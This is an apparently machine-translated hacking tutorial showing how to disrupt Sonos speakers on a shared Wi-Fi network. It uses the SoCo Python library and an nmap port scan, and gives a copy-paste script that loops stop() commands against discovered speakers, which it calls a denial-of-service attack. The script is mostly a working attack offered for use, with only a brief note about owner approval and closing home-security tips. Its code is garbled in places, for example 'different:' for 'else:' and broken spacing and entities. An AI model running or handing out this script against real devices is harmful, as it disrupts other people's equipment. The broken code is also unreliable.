Many popular IoT devices have terrible security. For example, a hacker who is on the same WiFi network as a Sonos speaker can take direct control over the device's behavior. If an IoT device does not protect the messages used to control it over a network, it is easy for someone to write a few Python scripts to make it do what they want.
Why IoT devices are not always safe
Internet of Things devices are inexpensive, internet-connected hardware components that often cross the line between a great idea and completely unnecessary. The trend of placing a Wi-Fi card in objects that are only marginally more useful, or not at all, by connecting them to the internet means that many different manufacturers are baking their own version of security in these devices.
Many of these Wi-Fi-enabled products, such as incandescent lamps, thermostats and speakers, have become mainstream products that trickle down and reach even the least technically skilled users. Due to widespread acceptance of IoT devices, IoT device manufacturers are convinced that their equipment must be primarily user-friendly, which means lax security.
Most IoT devices use poorly secured APIs that assume that if you are allowed on the same local Wi-Fi network as the device, you must have permission to communicate with it. As a result, many IoT devices can serve anyone on the local Wi-Fi network with the right commands without ever having to ask a user for a password or login.
Some of the most popular types of IoT devices are connected Sonos speakers, with which anyone on the local network can control them via a mobile or desktop application . Due to the widespread and easy-to-use Sonos speakers, they are a perfect example of how we can influence them.
Unlike mobile applications that communicate with external servers, the Sonos app on your phone or desktop sends commands directly to the Sonos on your home network. Because these commands can be sent by anyone, not just the Sonos app, we can make application calls from a Python program if we know the API that uses the Sonos device.
Fortunately for hackers, the API for many standard IoT devices is known and unofficially documented. The Sonos API has even been turned into a library for Python! With the SoCo and SoCos libraries, a Python programmer can find and execute commands for Sonos devices on a local network, either via a command line interface or via a Python script written in an IDE.
To show how this works, we & # 39; ll analyze how Sonos devices can be controlled o build a denial of service script to disable any Sonos system in the network.
Designing Your Own Behavior with Python
Using the SoCo (Sonos Controller) library for Python, we can begin to look at what kind of behavior we would like to script in an IoT device. Although we could repeatedly turn the song into a classic anthem of intense sensual power such as " Never Gonna Give You Up", this behavior would immediately let anyone in the neighborhood know that someone was messing with the speaker. Instead, if we review the available commands, we think it is trivial to have a denial of service attack.
A denial-of-service attack simply aims to break the way a device usually works to deny other people the ability to use it. In a Wi-Fi DoS attack, we would repeatedly kick everyone out of the network to prevent someone from using the internet. In this attack, we will locate all Sonos devices on the network and then resend the "Stop Play" command, making it impossible to use the Sonos speaker of the normal application.
To get started, you need a Sonos device on your network that you can connect to. Although the point of this article is that simply connecting to the same network as the device allows you to tamper with, this can put you in trouble if the owner does not approve of what you are doing.
You then need a Python IDE to write your code. IDEs are useful because they allow us to work on our code in an optimized environment and give us a lot of feedback about what happens with our code en route. I recommend PyCharm, especially if you are a student, because they give students free licenses of their professional product.
After you have set up PyCharm, you must ensure that Python is installed on your computer. The best way to do this is to go to a terminal window, type python3 and press to return . If you get a command prompt, you have Python3 and you can start. If you do not do this, you may need to download Python3 before continuing from the official website.
After you have downloaded PyCharm, open the file and follow the installation steps to set it up. If you have already set it up, simply open the PyCharm application. The first time you open PyCharm, you should see a screen like this:
Click on "Create new project" and then name the project something memorable like you want that. Click on "Create" to open a new project window.
In the new project window we have to start a new Python file. Right-click on the project screen on the left and then select the "New" drop-down menu. Select "Python file" from that menu to create an empty Python file. Call it something you will remember.
There we go! We should now have a Python file open and ready to run. To make sure your Python works, you can throw in a simple script. Paste the following into the text editor, right-click in the project area, and then click "Run"
for i in range (20): print ("It works!")
It should produce a result like the one below.
If you see the script working, you are ready to move about installing the SoCo library.
There are two different ways to control a Sonos device on the network. The first we will investigate is SoCos, which is the command-line version of SoCo. To install SoCos, go to a terminal window and type the following.
~ # pip install socos Collecting Socos Download https://files.pythonhosted.org/packages/74/0e/4ebdb27435fd23b105f01e2b9b7b42050cd20e1d0e59d02e7ac8a3c8e0df/socos-0.2-py2.py3-none-any.whl Collecting Soco == 0.11.1 Download https://files.pythonhosted.org/packages/8e/01/34d3e9577cf6ef0bbcb7cdc44140f0e672dae4a5e11d45d7692f3f6ab979/soco-0.11.1-py2.py3-none-any.whl (81kB) | ████████████████████████████████ | 81 kB 584 kB / s Requirement already met: requests in / usr / lib / python3 / dist packages (from soco == 0.11.1-> socos) (2.21.0) Install collected packages: soco, socos Soco-0.11.1 socos-0.2 has been installed WARNING: you use pip version 19.3.1; version 20.0.2 is however available. You should consider upgrading via the & # 39; pip install --upgrade pip & # 39; command.
This should install the Socos command line version. To use it, go ahead and run socos in your terminal window. In the utility, type socos help to see what is available.
~ # socos socos> help Available commands & # 39; s: * list List of available devices * party mode Put all speakers in the same group, also called Party mode. * info Information about a speaker * play Start playing * pause Pause * stop Stop * next Play the next song * previous Play the previous song * mode Change or display the playback mode of a device * current Display the current number * queue Display the current queue * Delete Remove track from queue by index * volume Change or display the volume of a device * bass Change or display the bass value of a device * Treble Change or display the treble value of a device * status Retrieve the current status of a device / group * follows public convenience method for `_search_and_play` * albums Public convenience method for `_search_and_play` * artists Public convenience method for `_search_and_play` * playlists Public convenience method for `_search_and_play` * sonos_playlists Public convenience method for `_search_and_play` * exit Exit socos * set Set the current speaker for the shell session via ip or speaker * unset Reset the current speaker for the shell session * help Print a list of commands with a short description
Above we can see that we have commands available to locate, play, stop and do all sorts of other useful things from the command line on the network. If you just want to control your Sonos from the command line, you can stop here and play with SoCos for a while before continuing.
For our purposes, we will continue to install SoCo in PyCharm so that we can start scripting behavior instead of relying on a command prompt.
Look in PyCharm at the bottom of the window to find the "Terminal" icon at the bottom. Click on it and it will open a terminal prompt at the bottom of your PyCharm screen, which allows you to install libraries that PyCharm can use.
Once this window is open, you can type pip install soco to install the SoCo library on PyCharm. You can type the same command in a system terminal window to generally install the library on your system.
~ # pip install soco Required though: soco in /Users/skickar/venv/lib/python3.6/site-packages Required though: xmltodict in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Requirement already met: requests in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Required though: idna <2.8,> = 2.5 in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Required though: urllib3 <1.24,> = 1.21.1 in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Requirement already met: certifi> = 2017.4.17 in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Required though: chardet <3.1.0,> = 3.0.2 in /Users/skickar/venv/lib/python3.6/site-packages (from soco) You use pip version 9.0.1, but version 18.1 is available You should consider upgrading via the & # 39; pip install --upgrade pip & # 39;
As soon as PyCharm confirms that SoCo is installed, we can get started writing our first script for the Sonos!
Step 4: Search for a device on the network
Now that we have set up SoCo in PyCharm, let's write the first part of our script. For more information about how SoCo can communicate with Sonos speakers, we refer to the documentation page for the project.
In the documentation we see that there are some commands for finding Sonos devices on the network. The most convenient is to grab all Sonos devices with the function soco.discover () . The function will put the information needed to control the Sonos device in a variable called "devices".
>>> import soco >>> devices = soco.discover () >>> devices set (SoCo ("192.168.0.10"), SoCo ("192.168.0.30"), SoCo ("192.168.0.17")) >>> device = devices.pop () >>> device SoCo ("192.168.0.16")
Now that we can focus on all Sonos devices on the network, we are attempting an API call.
Next, we are going to & # 39; I really let the Sonos device do something with our Python code. In PyCharm, let all Sonos devices that we have detected do something. Referring to the documentation, there are a number of things we can do.
The normal play, pause and stop functionality has similar methods (play (), pause () and stop ()) on the SoCo instance and the current status is included in the get_current_transport_info () output:  – SoCo Docs
For our purposes we use the function stop () . By repeating this feature that is targeted to all Sonos devices that we detect, we are essentially creating a denial of service attack.
Now, to create our Python code, we have to import the SoCo library. Next, we must detect and dump all Sonos devices in the network into a variable named & # 39; device & # 39;
import soco device = soco.discovery.any_soco ()
Next, we must test whether we have a result and use a loop while to define what we should do. We will check whether the variable "device" contains anything. If this is the case, we send the command stop . If it is empty, we say "No device found."
while len (str (device))! = 0: print ("Denial of Service attack on:", device) device.stop () different: print ("No device found.")
This simple code must do everything we need, so all we have to do is test and see if we can connect to and operate a Sonos device. Below are the 7 lines that you can easily copy and paste.
import soco device = soco.discovery.any_soco () while len (str (device))! = 0: print ("Denial of Service attack on:", device) device.stop () different: print ("No device found.")
Step 7: Search for Sonos devices with ports open
To find a Sonos device outside of SoCos, we can perform a Nmap scan with the following ports specified to the network. Sonos devices have ports 1400, 1420 and 1443 open, so to detect them, we will scan for them.
You must find the IP address range for your network, which you can do by taking your IP address and type it after the command ipcalc in a terminal window.
~ # ipcalc 172.16.42.61 Address: 172.16.42.61 10101100,00010000.00101010. 00111101 Netmask: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000 Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111 => Network: 172.16.42.0/24 10101100,00010000.00101010. 00000000 HostMin: 172.16.42.1 10101100,00010000.00101010. 00000001 HostMax: 172.16.42.254 10101100,00010000.00101010. 11111110 Broadcast: 172.16.42.255 10101100,00010000.00101010. 11111111 Hosts / Net: 254 Class B, private internet
Once you know your network range, you can run the following command to scan for Sonos devices on the same network.
~ # nmap -p 1400, 1420, 1443 172.16 .42.0 / 24
If you see devices that say these ports are open, you must be ready to proceed to the next step. However, there may be many devices with those open ports from different manufacturers, but you can limit the results to only Sonos devices with the command grep . Make sure that Sonos is written with a capital letter, because it is probably displayed on the scan.
~ nmap -p 1400, 1420, 1443 172.16.42.0/24 | grep & # 39; Sonos & # 39; MAC address: 94: 9F: 3E: f $: 04: 3C (Sonos) MAC address: 94: 9F: 3E: F5: 96: 0A (Sonos)
Back in PyCharm it's time to write our Python script to attempt. Press the green play button in the top menu to execute our Python script. If nothing happens, right click on the project window, select "Run" and then the name of your project. Sometimes PyCharm tries to execute the wrong project, so make sure it's the right one.
If the script succeeds, you must immediately stop playing music and see an output such as the one below stating the IP address of the affected Sonos device.
Other users cannot regain control of the device from the mobile phone or desktop app due to the intensity of the stop commands sent to the device. Until you stop the loop, the device continues to stop playback, making the Sonos unusable. This type of attack can be customized to perform any creative action you want, even doing things like changing the number when a specific device joins the network.
It is important to remember that IoT devices are increasingly being designed for convenience, not security. This can be frustrating for anyone who wants to keep their devices safe, but there are a few ways you can still take device security into your own hands.
Be careful who you give access to your Wi-Fi network. This gives them access to every device on your network, some of which may not have the best security. You also never have to set up IoT devices on an open network.
Instead, consider setting up a guest network that devices cannot connect to. Restricting guests to their own subnet on a Wi-Fi network prevents them from communicating with anything else on the network, thus eliminating the problem of guests on Wi-Fi interaction with the Sonos.
Generally, you must be careful when connecting new devices to a network before you fully understand how they work. Because most IoT devices do not check too hard to see who manages them, they are often targeted by malware and other types of abuse. You can do your bit by making sure that you connect IoT devices in a way that random outsiders cannot configure or access them.
I hope you enjoyed this guide for controlling IoT devices with Python API calls! If you have any questions about this IoT security tutorial or if you have a comment, you can ask them below or contact me on Twitter @KodyKinzie .